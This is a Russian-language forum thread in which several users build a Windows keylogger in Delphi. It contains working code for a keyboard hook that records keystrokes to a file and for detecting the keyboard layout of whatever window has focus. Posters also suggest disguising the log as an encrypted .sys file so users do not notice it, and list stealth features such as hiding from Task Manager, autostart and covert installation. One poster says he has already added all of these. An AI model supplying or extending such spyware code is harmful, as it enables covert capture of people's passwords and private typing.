keylogger-клавиатурный шпион

[DeKot]

Вообще то у меня создавался файл с датой в имени, правда я пробовал не 'c'(дата и время),а 'ddddd' (только дата).
Вопрос в другом - как отловить текущую раскладку клавиатуры, что бы сразу логить на выбранном языке?

[ОДИНОЧЕСТВО В СЕТИ]

как отловить текущую раскладку клавиатуры

Нужно ловить сообщение WM_INPUTLANGCHANGEREQUEST

или



procedure TForm1.Timer1Timer(Sender: TObject);
var
Layout: array [0.. KL_NAMELENGTH] of char;
begin
GetKeyboardLayoutName(Layout);
if Layout = '00000409' then
label1.caption:='en'
else
label1.caption:='ru';
end;

delphiworld

[DeKot]

To ОДИНОЧЕСТВО В СЕТИ
Спасибо, любопытная!!! Прекрасно работает.Прикручу к keylogger-у.

[Lime]

Сообщение от DeKot

To ОДИНОЧЕСТВО В СЕТИ
Спасибо, любопытная!!! Прекрасно работает.Прикручу к keylogger-у.

У меня сразу была идея так сделать один только вопрос на сколько тормозить будет само определене раскладки ...
ПС: Отстреливался от примера Stilet'a
Да , и ещё было лень писать соответсвие

q=й
w=ц
e=у
r=к
t=е
y=н

Ну итп)) А ещё лучше вообще код записывать а не преобразовывать всё этол дело в открытый текс , а потом код щифровать ещё чем-нибудь - и назвать файл уж не mykeylogger-logfile.txt а чтонить непонятное например с расширением sys и если открыть блокнотом то было бы явно неинтересно читать "это" ) и юзер не удалил бы в случае "обнаружения" ))

Думаю это нмогим понятно , просто хотел выразить свою точку зрения.

[DeKot]

А ещё лучше вообще код записывать а не преобразовывать всё этол дело в открытый текс , а потом код щифровать ещё чем-нибудь - и назвать файл уж не mykeylogger-logfile.txt а чтонить непонятное например с расширением sys и если открыть блокнотом то было бы явно неинтересно читать "это" ) и юзер не удалил бы в случае "обнаружения" ))

Это уже чисто хакерские требования.Лично я не ставлю перед собой задачи скрытности (пока не требуется). Вся разработка чисто для практических навыков (читай самообучние).
Если дальше развивать тему (в хакерском понимании) - то нужно добавить 1. невидимость хотя бы в панели задач (в идеале и в Диспетчере); 2. автозапуск; 3. "невидимое внедрение" в комп.; 4. доступность к логам.
Это просто перечисление логического порядка создания проги-шпиона, а не желание или требование.
В принципе, по отдельности все эти темы уже обсуждались не раз и есть решения. Это еще не значит плохие намерения (черьви-вири, шпионаж и т.п.).Даже для того что бы защищаться от чужого внедрения в систему надо знать принципы таких нападений.
К сожалению код

procedure TForm1.Timer1Timer(Sender: TObject);
var
Layout: array [0.. KL_NAMELENGTH] of char;
begin
GetKeyboardLayoutName(Layout);
if Layout = '00000409' then
label1.caption:='en'
else
label1.caption:='ru';
end;

прекрасно работает в открытом проекте Дельфи, но если перейти в любое другое приложение, то раскладка уже не определяется. Жаль!
Надо бы, чтоб определялясь раскладка, даже если фокус на другом приложении.

[betirsolt]

Сообщение от DeKot

Это уже чисто хакерские требования.Лично я не ставлю перед собой задачи скрытности (пока не требуется). Вся разработка чисто для практических навыков (читай самообучние).
Если дальше развивать тему (в хакерском понимании) - то нужно добавить 1. невидимость хотя бы в панели задач (в идеале и в Диспетчере); 2. автозапуск; 3. "невидимое внедрение" в комп.; 4. доступность к логам.

а я уже добавил все это...но думаю проверять раскладку нет надобности...с двумя лог файлами даже удобнее

[ОДИНОЧЕСТВО В СЕТИ]

2Dekot
вот раскладка в любом активном окне

if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
  //раскладка английская
else
  //раскладка НЕанглийская, например 68748313 соответствует русской

[betirsolt]

Сообщение от ОДИНОЧЕСТВО В СЕТИ

2Dekot
вот раскладка в любом активном окне

if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
  //раскладка английская
else
  //раскладка НЕанглийская, например 68748313 соответствует русской

а я вот не пойму как и куда это надо записать в основной код((...извините конечно...не могли бы объяснить....вообще кто нибудь может объяснить мне или дать ссылку чтоб я полностью понял как эта прога работает???

[DeKot]

Объявляем переменную-флаг Language: boolean; (false - латинская раскладка или англ яз., true - русский).В обработчик таймера вставляем этот код

if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
  language:= false; //раскладка английская
else
 language:= true; //раскладка НЕанглийская, например 68748313 соответствует русской

В основной программе по значениям этого флага переводим выловленные хуки в русский или английский текст (используйте оператор if ... then ... else.

[betirsolt]

if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
  Inc(N_char);
   with Form1 do
    begin
       if N_char = 40 then  // длина строки - 40 знаков
      begin
        Memo1.lines.Text:= Memo1.lines.Text + #10#13;  // перевод строки
        N_char:= 0;
      end;
      if ord(c[1]) > 0 then  // признак служебных клавиш
      begin
        Memo1.lines.Text:= Memo1.lines.Text + ' ' + c + ' ';  // служебные клавиши выделяем пробелом
      end
        else
      begin
         if Language then   // русская раскладка
           begin
          for i:= 65 to 90 do
          begin
            if ord(c[0]) = i then begin j:= i - 65; BREAK; end;
          end;
          Memo1.lines.Text:= Memo1.lines.Text  + rus[j] // замена англ. симв. на русские
          end
          else Memo1.lines.Text:= Memo1.lines.Text + c;  // англ. символы

      end;
        Memo1.lines.SaveToFile('c:\log.txt');
      end;
      result:=callnexthookex(h,code,wparam,lparam);
    end;

end;
вот так я сделал..вроде работает..но вместо букв э,б,х,ъ,ю он просто ставит 'ф' и еще когда набираешь цифры на верху а не на num lock тоже ставит ф вместо цифр.....моя проблема в том что я не совсем понимаю весь этот код...

From Stilet: Господа, имейте совесть - оформляйте ею код по кнопке #.